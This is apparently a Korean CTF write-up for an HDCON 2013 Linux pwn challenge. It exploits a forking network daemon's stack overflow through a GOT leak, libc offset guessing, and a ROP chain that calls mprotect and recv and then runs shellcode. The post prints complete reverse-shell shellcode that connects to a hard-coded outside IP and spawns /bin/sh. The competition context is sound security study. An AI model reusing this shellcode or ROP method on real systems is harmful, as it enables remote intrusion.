리눅스 PWN 문제이다.
accept-fork 하는 데몬이고 핸들러 함수는 아래와 같다.
buf 에 recv 를 받는데 랜덤으로 최대 100바이트정도를 오버플로우 할 수 있다.
NX 는 걸려있고, ASLR 이 존재하는지 확인부터 하기위해 GOT 를 볼수있도록 send 로 리턴 시켰다.
확인한 결과 아래처럼 GOT 내용이 항상 일정한것으로 봐서 ASLR 은 없었다.
root@ubuntu:/var/www/hdcon# python 5.py | hexdump -C
00000000 4d 53 47 20 3a 20 0a e0 c9 63 b7 d0 48 5f b7 40 |MSG : ...c..H_.@|
00000010 1b 65 b7 26 85 04 08 50 c4 63 b7 c0 39 60 b7 40 |.e.&...P.c..9`.@|
00000020 37 5b b7 66 85 04 08 76 85 04 08 b0 f5 57 b7 e0 |7[.f...v.....W..|
00000030 53 56 b7 d0 c4 63 b7 60 fc 57 b7 60 3f 60 b7 90 |SV...c.`.W.`?`..|
00000040 c6 63 b7 80 ca 63 b7 e0 c6 63 b7 c0 a3 62 b7 60 |.c...c...c...b.`|
00000050 c8 63 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 |.c..............|
00000060 00 00 00 02 00 1e 61 00 00 00 00 00 00 00 00 00 |......a.........|
00000070 00 00 00 04 00 00 00 10 00 00 00 02 00 c1 00 c0 |................|
00000080 a8 64 2c 00 00 00 00 00 00 00 00 03 00 00 00 00 |.d,.............|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000100 00 00 00 00 00 00 00 0a |........|
ASLR 이 없는것을 확인하고 바로 다음과같이 시나리오를 짯다.
1. mprotect 로 리턴
2. recv 로 리턴
3. 리모트쉘코드 전송
4. 리코트쉘코드로 리턴
시나리오대로 ROP 를 하기위해서 libc 심볼들의 상대주소값들을 계산하니 아래와같았다.
0x804a000 <setsockopt@got.plt>: 0xb7f08e80 0xb7ec0b00 0xb7f1e5b0 0x08048526
0x804a010 <accept@got.plt>: 0xb7f08940 0x08048546 0xb7e7df70 0x08048566
0x804a020 <exit@got.plt>: 0x08048576 0xb7e49dd0 0xb7e2f840 0xb7f089c0
0x804a030 <rand@got.plt>: 0xb7e4a470 0xb7ecfbf0 0xb7f08b40 0xb7f08f00
0x804a040 <recv@got.plt>: 0xb7f08b80 0x08048606 0xb7f08d00 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x611e0002
0x804a060 <my_addr+4>: 0x00000000 0x00000000 0x00000000 0x00000008
0x804a070 <sin_size>: 0x00000010 0xd5ea0002 0x0100007f 0x00000000
0x804a080 <their_addr+12>: 0x00000000 0x00000007 0x00000000 0x00000000
b763c9e0
b75f48d0 : 48110
b7651b40 : FFFA2D90
--------
b763c450 : 156F0
서버데몬에서의 오프셋들
48110, -A2D90, 156F0...
로컬 테스트환경에서 오프셋들(우분투 13.04)
48380, -A2550, 15C70...
꾀 비슷하길래 이정도면 로컬에서 mprotect 주소를 계산하고 상대오프셋으로 대충 주소를 찍을수 있겠다 싶었다.
Symbol "mprotect" is at 0xb7f02670 in a file compiled without debugging.
setsockopt - mprotect = 0x6810
시나리오대로 수행할 스택페이로드는 아래와 같다.
[ oldebp ][&mprotect@got][&pop;pop;pop;ret][0x8048a00][ 0x1000 ][ 7 ][ &recv@plt ][0x8048a00 ][ 4 ][0x8048a00][0x1000][ 0 ]
pop pop pop ret 가젯은 objdump 로 간단하게 찾아주고...
80489cc: 5b pop %ebx
80489cd: 5e pop %esi
80489ce: 5f pop %edi
80489cf: 5d pop %ebp
80489d0: c3 ret
리모트쉘코드를 아래처럼 준비하고
remote shell.(IP:77 CC 60 C7, PORT:7a 69)
"6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80 96 6A 66 58 43 68 00 00 00 00 66 68 7A 69 66 53 89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49 B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80"
mprotect 의 주소범위를 아래정도로 잡았다.
&mprotect = B76351D0 ~ B76371D0 (B76361D0?)
최종 exploit 은 아래와 같다
그러나 아무리 브루트포싱을 해도 리모트쉘이 뜨지 않았다. rand 값이 작아서 재수가없어서 페이로드가 짤리는건지 정말 뭐가 안맞아서 안되는건지 알길이 없었는데... 팀원형이 정확한 mprotect 주소를 이미 알고계신다고 하셔서 그 주소를 써보니 한번에 쉘이떳다 ㅡㅡ;;
어떻게 주소를 아셨냐고 물어보니 서버 데몬의 GOT 내용이 ubuntu 12.04 의 libc 내용과 완전 동일하다고 하셨다... 앞으로 libc 주소 찍을때는 10.04부터 최신까지 전부다 준비해놓고 비교해봐야겠다 -_-;; 아무튼 아래처럼 리모트쉘을 획득했다.
'Games > CTF' 카테고리의 다른 글
Whitehat Contest - Pybox (5) | 2013.09.23 |
---|---|
DEFCON 2013 penser writeup (0) | 2013.06.18 |
HDCON 2013 level4 (0) | 2013.06.11 |
HDCON 2013 level3 (0) | 2013.06.11 |
HDCON 2013 level1 (0) | 2013.06.11 |